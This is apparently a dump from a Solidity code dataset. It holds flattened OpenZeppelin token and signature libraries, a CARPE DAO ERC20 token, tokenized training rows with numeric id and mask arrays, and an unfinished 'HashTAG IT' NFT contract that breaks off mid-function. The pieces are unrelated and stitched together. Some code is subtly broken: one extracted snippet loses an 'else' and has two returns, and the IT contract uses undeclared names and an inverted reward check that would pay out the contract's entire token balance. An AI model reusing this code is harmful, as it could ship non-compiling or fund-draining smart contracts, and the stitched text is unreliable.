uint256 b) internal pure returns (uint256) { require(b <= a, "SafeMath: subtraction overflow"); return a - b; } /** * @dev Returns the multiplication of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `*` operator. * * Requirements: * * - Multiplication cannot overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) return 0; uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } /** * @dev Returns the integer division of two unsigned integers, reverting on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { require(b > 0, "SafeMath: division by zero"); return a / b; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * reverting when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b) internal pure returns (uint256) { require(b > 0, "SafeMath: modulo by zero"); return a % b; } /** * @dev Returns the subtraction of two unsigned integers, reverting with custom message on * overflow (when the result is negative). * * CAUTION: This function is deprecated because it requires allocating memory for the error * message unnecessarily. For custom revert reasons use {trySub}. * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b <= a, errorMessage); return a - b; } /** * @dev Returns the integer division of two unsigned integers, reverting with custom message on * division by zero. The result is rounded towards zero. * * CAUTION: This function is deprecated because it requires allocating memory for the error * message unnecessarily. For custom revert reasons use {tryDiv}. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b > 0, errorMessage); return a / b; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * reverting with custom message when dividing by zero. * * CAUTION: This function is deprecated because it requires allocating memory for the error * message unnecessarily. For custom revert reasons use {tryMod}. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b > 0, errorMessage); return a % b; } } // File @openzeppelin/contracts/token/ERC20/[email protected] pragma solidity >=0.6.0 <0.8.0; /** * @dev Implementation of the {IERC20} interface. * * This implementation is agnostic to the way tokens are created. This means * that a supply mechanism has to be added in a derived contract using {_mint}. * For a generic mechanism see {ERC20PresetMinterPauser}. * * TIP: For a detailed writeup see our guide * https://forum.zeppelin.solutions/t/how-to-implement-erc20-supply-mechanisms/226[How * to implement supply mechanisms]. * * We have followed general OpenZeppelin guidelines: functions revert instead * of returning `false` on failure. This behavior is nonetheless conventional * and does not conflict with the expectations of ERC20 applications. * * Additionally, an {Approval} event is emitted on calls to {transferFrom}. * This allows applications to reconstruct the allowance for all accounts just * by listening to said events. Other implementations of the EIP may not emit * these events, as it isn't required by the specification. * * Finally, the non-standard {decreaseAllowance} and {increaseAllowance} * functions have been added to mitigate the well-known issues around setting * allowances. See {IERC20-approve}. */ contract ERC20 is Context, IERC20 { using SafeMath for uint256; mapping(address => uint256) private _balances; mapping(address => mapping(address => uint256)) private _allowances; uint256 private _totalSupply; string private _name; string private _symbol; uint8 private _decimals; /** * @dev Sets the values for {name} and {symbol}, initializes {decimals} with * a default value of 18. * * To select a different value for {decimals}, use {_setupDecimals}. * * All three of these values are immutable: they can only be set once during * construction. */ constructor(string memory name_, string memory symbol_) public { _name = name_; _symbol = symbol_; _decimals = 18; } /** * @dev Returns the name of the token. */ function name() public view virtual returns (string memory) { return _name; } /** * @dev Returns the symbol of the token, usually a shorter version of the * name. */ function symbol() public view virtual returns (string memory) { return _symbol; } /** * @dev Returns the number of decimals used to get its user representation. * For example, if `decimals` equals `2`, a balance of `505` tokens should * be displayed to a user as `5,05` (`505 / 10 ** 2`). * * Tokens usually opt for a value of 18, imitating the relationship between * Ether and Wei. This is the value {ERC20} uses, unless {_setupDecimals} is * called. * * NOTE: This information is only used for _display_ purposes: it in * no way affects any of the arithmetic of the contract, including * {IERC20-balanceOf} and {IERC20-transfer}. */ function decimals() public view virtual returns (uint8) { return _decimals; } /** * @dev See {IERC20-totalSupply}. */ function totalSupply() public view virtual override returns (uint256) { return _totalSupply; } /** * @dev See {IERC20-balanceOf}. */ function balanceOf(address account) public view virtual override returns (uint256) { return _balances[account]; } /** * @dev See {IERC20-transfer}. * * Requirements: * * - `recipient` cannot be the zero address. * - the caller must have a balance of at least `amount`. */ function transfer(address recipient, uint256 amount) public virtual override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } /** * @dev See {IERC20-allowance}. */ function allowance(address owner, address spender) public view virtual override returns (uint256) { return _allowances[owner][spender]; } /** * @dev See {IERC20-approve}. * * Requirements: * * - `spender` cannot be the zero address. */ function approve(address spender, uint256 amount) public virtual override returns (bool) { _approve(_msgSender(), spender, amount); return true; } /** * @dev See {IERC20-transferFrom}. * * Emits an {Approval} event indicating the updated allowance. This is not * required by the EIP. See the note at the beginning of {ERC20}. * * Requirements: * * - `sender` and `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. * - the caller must have allowance for ``sender``'s tokens of at least * `amount`. */ function transferFrom( address sender, address recipient, uint256 amount ) public virtual override returns (bool) { _transfer(sender, recipient, amount); _approve( sender, _msgSender(), _allowances[sender][_msgSender()].sub( amount, "ERC20: transfer amount exceeds allowance" ) ); return true; } /** * @dev Atomically increases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. */ function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) { _approve( _msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue) ); return true; } /** * @dev Atomically decreases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. * - `spender` must have allowance for the caller of at least * `subtractedValue`. */ function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) { _approve( _msgSender(), spender, _allowances[_msgSender()][spender].sub( subtractedValue, "ERC20: decreased allowance below zero" ) ); return true; } /** * @dev Moves tokens `amount` from `sender` to `recipient`. * * This is internal function is equivalent to {transfer}, and can be used to * e.g. implement automatic token fees, slashing mechanisms, etc. * * Emits a {Transfer} event. * * Requirements: * * - `sender` cannot be the zero address. * - `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. */ function _transfer( address sender, address recipient, uint256 amount ) internal virtual { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); _beforeTokenTransfer(sender, recipient, amount); _balances[sender] = _balances[sender].sub( amount, "ERC20: transfer amount exceeds balance" ); _balances[recipient] = _balances[recipient].add(amount); emit Transfer(sender, recipient, amount); } /** @dev Creates `amount` tokens and assigns them to `account`, increasing * the total supply. * * Emits a {Transfer} event with `from` set to the zero address. * * Requirements: * * - `to` cannot be the zero address. */ function _mint(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: mint to the zero address"); _beforeTokenTransfer(address(0), account, amount); _totalSupply = _totalSupply.add(amount); _balances[account] = _balances[account].add(amount); emit Transfer(address(0), account, amount); } /** * @dev Destroys `amount` tokens from `account`, reducing the * total supply. * * Emits a {Transfer} event with `to` set to the zero address. * * Requirements: * * - `account` cannot be the zero address. * - `account` must have at least `amount` tokens. */ function _burn(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: burn from the zero address"); _beforeTokenTransfer(account, address(0), amount); _balances[account] = _balances[account].sub( amount, "ERC20: burn amount exceeds balance" ); _totalSupply = _totalSupply.sub(amount); emit Transfer(account, address(0), amount); } /** * @dev Sets `amount` as the allowance of `spender` over the `owner` s tokens. * * This internal function is equivalent to `approve`, and can be used to * e.g. set automatic allowances for certain subsystems, etc. * * Emits an {Approval} event. * * Requirements: * * - `owner` cannot be the zero address. * - `spender` cannot be the zero address. */ function _approve( address owner, address spender, uint256 amount ) internal virtual { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } /** * @dev Sets {decimals} to a value other than the default one of 18. * * WARNING: This function should only be called from the constructor. Most * applications that interact with token contracts will not expect * {decimals} to ever change, and may work incorrectly if it does. */ function _setupDecimals(uint8 decimals_) internal virtual { _decimals = decimals_; } /** * @dev Hook that is called before any transfer of tokens. This includes * minting and burning. * * Calling conditions: * * - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens * will be to transferred to `to`. * - when `from` is zero, `amount` tokens will be minted for `to`. * - when `to` is zero, `amount` of ``from``'s tokens will be burned. * - `from` and `to` are never both zero. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _beforeTokenTransfer( address from, address to, uint256 amount ) internal virtual {} } // File @openzeppelin/contracts/drafts/[email protected] pragma solidity >=0.6.0 <0.8.0; /** * @dev Interface of the ERC20 Permit extension allowing approvals to be made via signatures, as defined in * https://eips.ethereum.org/EIPS/eip-2612[EIP-2612]. * * Adds the {permit} method, which can be used to change an account's ERC20 allowance (see {IERC20-allowance}) by * presenting a message signed by the account. By not relying on `{IERC20-approve}`, the token holder account doesn't * need to send a transaction, and thus is not required to hold Ether at all. */ interface IERC20Permit { /** * @dev Sets `value` as the allowance of `spender` over `owner`'s tokens, * given `owner`'s signed approval. * * IMPORTANT: The same issues {IERC20-approve} has related to transaction * ordering also apply here. * * Emits an {Approval} event. * * Requirements: * * - `spender` cannot be the zero address. * - `deadline` must be a timestamp in the future. * - `v`, `r` and `s` must be a valid `secp256k1` signature from `owner` * over the EIP712-formatted function arguments. * - the signature must use ``owner``'s current nonce (see {nonces}). * * For more information on the signature format, see the * https://eips.ethereum.org/EIPS/eip-2612#specification[relevant EIP * section]. */ function permit( address owner, address spender, uint256 value, uint256 deadline, uint8 v, bytes32 r, bytes32 s ) external; /** * @dev Returns the current nonce for `owner`. This value must be * included whenever a signature is generated for {permit}. * * Every successful call to {permit} increases ``owner``'s nonce by one. This * prevents a signature from being used multiple times. */ function nonces(address owner) external view returns (uint256); /** * @dev Returns the domain separator used in the encoding of the signature for `permit`, as defined by {EIP712}. */ // solhint-disable-next-line func-name-mixedcase function DOMAIN_SEPARATOR() external view returns (bytes32); } // File @openzeppelin/contracts/cryptography/[email protected] pragma solidity >=0.6.0 <0.8.0; /** * @dev Elliptic Curve Digital Signature Algorithm (ECDSA) operations. * * These functions can be used to verify that a message was signed by the holder * of the private keys of a given address. */ library ECDSA { /** * @dev Returns the address that signed a hashed message (`hash`) with * `signature`. This address can then be used for verification purposes. * * The `ecrecover` EVM opcode allows for malleable (non-unique) signatures: * this function rejects them by requiring the `s` value to be in the lower * half order, and the `v` value to be either 27 or 28. * * IMPORTANT: `hash` _must_ be the result of a hash operation for the * verification to be secure: it is possible to craft signatures that * recover to arbitrary addresses for non-hashed data. A safe way to ensure * this is by receiving a hash of the original message (which may otherwise * be too long), and then calling {toEthSignedMessageHash} on it. */ function recover(bytes32 hash, bytes memory signature) internal pure returns (address) { // Check the signature length if (signature.length != 65) { revert("ECDSA: invalid signature length"); } // Divide the signature in r, s and v variables bytes32 r; bytes32 s; uint8 v; // ecrecover takes the signature parameters, and the only way to get them // currently is to use assembly. // solhint-disable-next-line no-inline-assembly assembly { r := mload(add(signature, 0x20)) s := mload(add(signature, 0x40)) v := byte(0, mload(add(signature, 0x60))) } return recover(hash, v, r, s); } /** * @dev Overload of {ECDSA-recover-bytes32-bytes-} that receives the `v`, * `r` and `s` signature fields separately. */ function recover( bytes32 hash, uint8 v, bytes32 r, bytes32 s ) internal pure returns (address) { // EIP-2 still allows signature malleability for ecrecover(). Remove this possibility and make the signature // unique. Appendix F in the Ethereum Yellow paper (https://ethereum.github.io/yellowpaper/paper.pdf), defines // the valid range for s in (281): 0 < s < secp256k1n ÷ 2 + 1, and for v in (282): v ∈ {27, 28}. Most // signatures from current libraries generate a unique signature with an s-value in the lower half order. // // If your library generates malleable signatures, such as s-values in the upper range, calculate a new s-value // with 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFEBAAEDCE6AF48A03BBFD25E8CD0364141 - s1 and flip v from 27 to 28 or // vice versa. If your library also generates signatures with 0/1 for v instead 27/28, add 27 to v to accept // these malleable signatures as well. require( uint256(s) <= 0x7FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF5D576E7357A4501DDFE92F46681B20A0, "ECDSA: invalid signature 's' value" ); require(v == 27 || v == 28, "ECDSA: invalid signature 'v' value"); // If the signature is valid (and not malleable), return the signer address address signer = ecrecover(hash, v, r, s); require(signer != address(0), "ECDSA: invalid signature"); return signer; } /** * @dev Returns an Ethereum Signed Message, created from a `hash`. This * replicates the behavior of the * https://github.com/ethereum/wiki/wiki/JSON-RPC#eth_sign[`eth_sign`] * JSON-RPC method. * * See {recover}. */ function toEthSignedMessageHash(bytes32 hash) internal pure returns (bytes32) { // 32 is the length in bytes of hash, // enforced by the type signature above return keccak256( abi.encodePacked("\x19Ethereum Signed Message:\n32", hash) ); } } // File @openzeppelin/contracts/utils/[email protected] pragma solidity >=0.6.0 <0.8.0; /** * @title Counters * @author Matt Condon (@shrugs) * @dev Provides counters that can only be incremented or decremented by one. This can be used e.g. to track the number * of elements in a mapping, issuing ERC721 ids, or counting request ids. * * Include with `using Counters for Counters.Counter;` * Since it is not possible to overflow a 256 bit integer with increments of one, `increment` can skip the {SafeMath} * overflow check, thereby saving gas. This does assume however correct usage, in that the underlying `_value` is never * directly accessed. */ library Counters { using SafeMath for uint256; struct Counter { // This variable should never be directly accessed by users of the library: interactions must be restricted to // the library's function. As of Solidity v0.5.2, this cannot be enforced, though there is a proposal to add // this feature: see https://github.com/ethereum/solidity/issues/4637 uint256 _value; // default: 0 } function current(Counter storage counter) internal view returns (uint256) { return counter._value; } function increment(Counter storage counter) internal { // The {SafeMath} overflow check can be skipped here, see the comment at the top counter._value += 1; } function decrement(Counter storage counter) internal { counter._value = counter._value.sub(1); } } // File @openzeppelin/contracts/drafts/[email protected] pragma solidity >=0.6.0 <0.8.0; /** * @dev https://eips.ethereum.org/EIPS/eip-712[EIP 712] is a standard for hashing and signing of typed structured data. * * The encoding specified in the EIP is very generic, and such a generic implementation in Solidity is not feasible, * thus this contract does not implement the encoding itself. Protocols need to implement the type-specific encoding * they need in their contracts using a combination of `abi.encode` and `keccak256`. * * This contract implements the EIP 712 domain separator ({_domainSeparatorV4}) that is used as part of the encoding * scheme, and the final step of the encoding to obtain the message digest that is then signed via ECDSA * ({_hashTypedDataV4}). * * The implementation of the domain separator was designed to be as efficient as possible while still properly updating * the chain id to protect against replay attacks on an eventual fork of the chain. * * NOTE: This contract implements the version of the encoding known as "v4", as implemented by the JSON RPC method * https://docs.metamask.io/guide/signing-data.html[`eth_signTypedDataV4` in MetaMask]. * * _Available since v3.4._ */ abstract contract EIP712 { /* solhint-disable var-name-mixedcase */ // Cache the domain separator as an immutable value, but also store the chain id that it corresponds to, in order to // invalidate the cached domain separator if the chain id changes. bytes32 private immutable _CACHED_DOMAIN_SEPARATOR; uint256 private immutable _CACHED_CHAIN_ID; bytes32 private immutable _HASHED_NAME; bytes32 private immutable _HASHED_VERSION; bytes32 private immutable _TYPE_HASH; /* solhint-enable var-name-mixedcase */ /** * @dev Initializes the domain separator and parameter caches. * * The meaning of `name` and `version` is specified in * https://eips.ethereum.org/EIPS/eip-712#definition-of-domainseparator[EIP 712]: * * - `name`: the user readable name of the signing domain, i.e. the name of the DApp or the protocol. * - `version`: the current major version of the signing domain. * * NOTE: These parameters cannot be changed except through a xref:learn::upgrading-smart-contracts.adoc[smart * contract upgrade]. */ constructor(string memory name, string memory version) internal { bytes32 hashedName = keccak256(bytes(name)); bytes32 hashedVersion = keccak256(bytes(version)); bytes32 typeHash = keccak256( "EIP712Domain(string name,string version,uint256 chainId,address verifyingContract)" ); _HASHED_NAME = hashedName; _HASHED_VERSION = hashedVersion; _CACHED_CHAIN_ID = _getChainId(); _CACHED_DOMAIN_SEPARATOR = _buildDomainSeparator( typeHash, hashedName, hashedVersion ); _TYPE_HASH = typeHash; } /** * @dev Returns the domain separator for the current chain. */ function _domainSeparatorV4() internal view virtual returns (bytes32) { if (_getChainId() == _CACHED_CHAIN_ID) { return _CACHED_DOMAIN_SEPARATOR; } else { return _buildDomainSeparator( _TYPE_HASH, _HASHED_NAME, _HASHED_VERSION ); } } function _buildDomainSeparator( bytes32 typeHash, bytes32 name, bytes32 version ) private view returns (bytes32) { return keccak256( abi.encode( typeHash, name, version, _getChainId(), address(this) ) ); } /** * @dev Given an already https://eips.ethereum.org/EIPS/eip-712#definition-of-hashstruct[hashed struct], this * function returns the hash of the fully encoded EIP712 message for this domain. * * This hash can be used together with {ECDSA-recover} to obtain the signer of a message. For example: * * ```solidity * bytes32 digest = _hashTypedDataV4(keccak256(abi.encode( * keccak256("Mail(address to,string contents)"), * mailTo, * keccak256(bytes(mailContents)) * ))); * address signer = ECDSA.recover(digest, signature); * ``` */ function _hashTypedDataV4(bytes32 structHash) internal view virtual returns (bytes32) { return keccak256( abi.encodePacked("\x19\x01", _domainSeparatorV4(), structHash) ); } function _getChainId() private view returns (uint256 chainId) { this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691 // solhint-disable-next-line no-inline-assembly assembly { chainId := chainid() } } } // File @openzeppelin/contracts/drafts/[email protected] pragma solidity >=0.6.5 <0.8.0; /** * @dev Implementation of the ERC20 Permit extension allowing approvals to be made via signatures, as defined in * https://eips.ethereum.org/EIPS/eip-2612[EIP-2612]. * * Adds the {permit} method, which can be used to change an account's ERC20 allowance (see {IERC20-allowance}) by * presenting a message signed by the account. By not relying on `{IERC20-approve}`, the token holder account doesn't * need to send a transaction, and thus is not required to hold Ether at all. * * _Available since v3.4._ */ abstract contract ERC20Permit is ERC20, IERC20Permit, EIP712 { using Counters for Counters.Counter; mapping(address => Counters.Counter) private _nonces; // solhint-disable-next-line var-name-mixedcase bytes32 private immutable _PERMIT_TYPEHASH = keccak256( "Permit(address owner,address spender,uint256 value,uint256 nonce,uint256 deadline)" ); /** * @dev Initializes the {EIP712} domain separator using the `name` parameter, and setting `version` to `"1"`. * * It's a good idea to use the same `name` that is defined as the ERC20 token name. */ constructor(string memory name) internal EIP712(name, "1") {} /** * @dev See {IERC20Permit-permit}. */ function permit( address owner, address spender, uint256 value, uint256 deadline, uint8 v, bytes32 r, bytes32 s ) public virtual override { // solhint-disable-next-line not-rely-on-time require(block.timestamp <= deadline, "ERC20Permit: expired deadline"); bytes32 structHash = keccak256( abi.encode( _PERMIT_TYPEHASH, owner, spender, value, _nonces[owner].current(), deadline ) ); bytes32 hash = _hashTypedDataV4(structHash); address signer = ECDSA.recover(hash, v, r, s); require(signer == owner, "ERC20Permit: invalid signature"); _nonces[owner].increment(); _approve(owner, spender, value); } /** * @dev See {IERC20Permit-nonces}. */ function nonces(address owner) public view override returns (uint256) { return _nonces[owner].current(); } /** * @dev See {IERC20Permit-DOMAIN_SEPARATOR}. */ // solhint-disable-next-line func-name-mixedcase function DOMAIN_SEPARATOR() external view override returns (bytes32) { return _domainSeparatorV4(); } } // File contracts/Governance/CARPE.sol pragma solidity ^0.7.6; contract CARPE is ERC20, ERC20Permit { uint256 constant tokenSupply = 1000000 * 1 ether; constructor() ERC20("Carpe DAO", "CARPE") ERC20Permit("Carpe DAO") { _mint(msg.sender, tokenSupply); } }
* @dev Returns the domain separator for the current chain./
function _domainSeparatorV4() internal view virtual returns (bytes32) { if (_getChainId() == _CACHED_CHAIN_ID) { return _CACHED_DOMAIN_SEPARATOR; return _buildDomainSeparator( _TYPE_HASH, _HASHED_NAME, _HASHED_VERSION ); } }
375,761
[ 1, 1356, 326, 2461, 4182, 364, 326, 783, 2687, 18, 19, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 565, 445, 389, 4308, 6581, 58, 24, 1435, 2713, 1476, 5024, 1135, 261, 3890, 1578, 13, 288, 203, 3639, 309, 261, 67, 588, 3893, 548, 1435, 422, 389, 3587, 15023, 67, 1792, 6964, 67, 734, 13, 288, 203, 5411, 327, 389, 3587, 15023, 67, 18192, 67, 4550, 31, 203, 5411, 327, 203, 7734, 389, 3510, 3748, 6581, 12, 203, 10792, 389, 2399, 67, 15920, 16, 203, 10792, 389, 15920, 2056, 67, 1985, 16, 203, 10792, 389, 15920, 2056, 67, 5757, 203, 7734, 11272, 203, 3639, 289, 203, 565, 289, 203, 203, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100 ]
./partial_match/1/0x1A963Df363D01EEBB2816b366d61C917F20e1EbE/sources/src/SafeMath.sol
* @dev Returns the multiplication of two unsigned integers, reverting on overflow. Counterpart to Solidity's `` operator. Requirements: - Multiplication cannot overflow./ Gas optimization: this is cheaper than requiring 'a' not being zero, but the benefit is lost if 'b' is also tested. See: https:github.com/OpenZeppelin/openzeppelin-contracts/pull/522
function mul(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c; unchecked { c = a * b; } require(c / a == b, errorMessage); return c; }
2,594,763
[ 1, 1356, 326, 23066, 434, 2795, 9088, 12321, 16, 15226, 310, 603, 9391, 18, 9354, 2680, 358, 348, 7953, 560, 1807, 12176, 3726, 18, 29076, 30, 300, 5991, 1254, 2780, 9391, 18, 19, 31849, 14850, 30, 333, 353, 19315, 7294, 2353, 29468, 296, 69, 11, 486, 3832, 3634, 16, 1496, 326, 27641, 7216, 353, 13557, 309, 296, 70, 11, 353, 2546, 18432, 18, 2164, 30, 2333, 30, 6662, 18, 832, 19, 3678, 62, 881, 84, 292, 267, 19, 3190, 94, 881, 84, 292, 267, 17, 16351, 87, 19, 13469, 19, 25, 3787, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 565, 445, 14064, 12, 11890, 5034, 279, 16, 2254, 5034, 324, 16, 533, 3778, 9324, 13, 203, 3639, 2713, 203, 3639, 16618, 203, 3639, 1135, 261, 11890, 5034, 13, 203, 565, 288, 203, 3639, 309, 261, 69, 422, 374, 13, 288, 203, 5411, 327, 374, 31, 203, 3639, 289, 203, 203, 3639, 2254, 5034, 276, 31, 203, 3639, 22893, 288, 203, 5411, 276, 273, 279, 380, 324, 31, 203, 3639, 289, 203, 3639, 2583, 12, 71, 342, 279, 422, 324, 16, 9324, 1769, 203, 203, 3639, 327, 276, 31, 203, 565, 289, 203, 203, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100 ]
/* SPDX-License-Identifier: MIT */ pragma solidity 0.8.6; import "@openzeppelin/contracts/token/ERC721/ERC721.sol"; import "@openzeppelin/contracts/token/ERC20/IERC20.sol"; import "IHashTAGManager.sol"; contract IT is ERC721("HashTAG IT Token", "IT") { IHashTAGManager public manager; IERC20 private _depositToken; IERC20 public TAG; address public previousIt; // the account who tagged the current It uint256 public previousTag; // the timestamp of when previousIt tagged the current It bytes32 public previousIts; // hash of all historical Its event Reward(address recipient, uint256 amount); constructor(address _manager, address _tagToken, address _initialIt, uint256 _cliff) { manager = IHashTAGManager(_manager); cliff = _cliff; _safeMint(_initialIt, 0); _depositToken = IERC20(manager.depositToken()); TAG = IERC20(_tagToken); } function _baseURI() internal view virtual override returns (string memory) { // ideally do something with the return ""; } /** * @dev Hook that is called before any token transfer. This includes minting * and burning. * * Calling conditions: * * - When `from` and `to` are both non-zero, ``from``'s `tokenId` will be * transferred to `to`. * - When `from` is zero, `tokenId` will be minted for `to`. * - When `to` is zero, ``from``'s `tokenId` will be burned. * - `from` and `to` are never both zero. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _beforeTokenTransfer( address from, address to, uint256 tokenId ) internal virtual override { if(previousIt != address(0)) { _sendReward(); _hashIts(); _mintHistoricalIT(); } previousIt = from; previousTag = block.timestamp; } // TODO should this be inside the manager instead? function _sendReward() internal { uint256 elapsed = block.timestamp - previousTag; uint256 cliff = manager.cliff(); uint256 multiplier = (elapsed < cliff) ? (cliff / ratio) : 1; uint256 baseReward = manager.baseReward(); uint256 reward = baseReward * multiplier; uint256 remainingTAG = TAG.balanceOf(address(this)); uint256 actualReward = (remainingTAG <= reward) ? reward : remainingTAG; require(TAG.transfer(previousIt, actualReward), "transfer failed"); emit Reward(previousIt, actualReward); } // TODO should this be inside the manager instead? function _mintHistoricalIT() internal { // mint an new HistoricalIT nft HistoricalIT.mint(previousIt); // 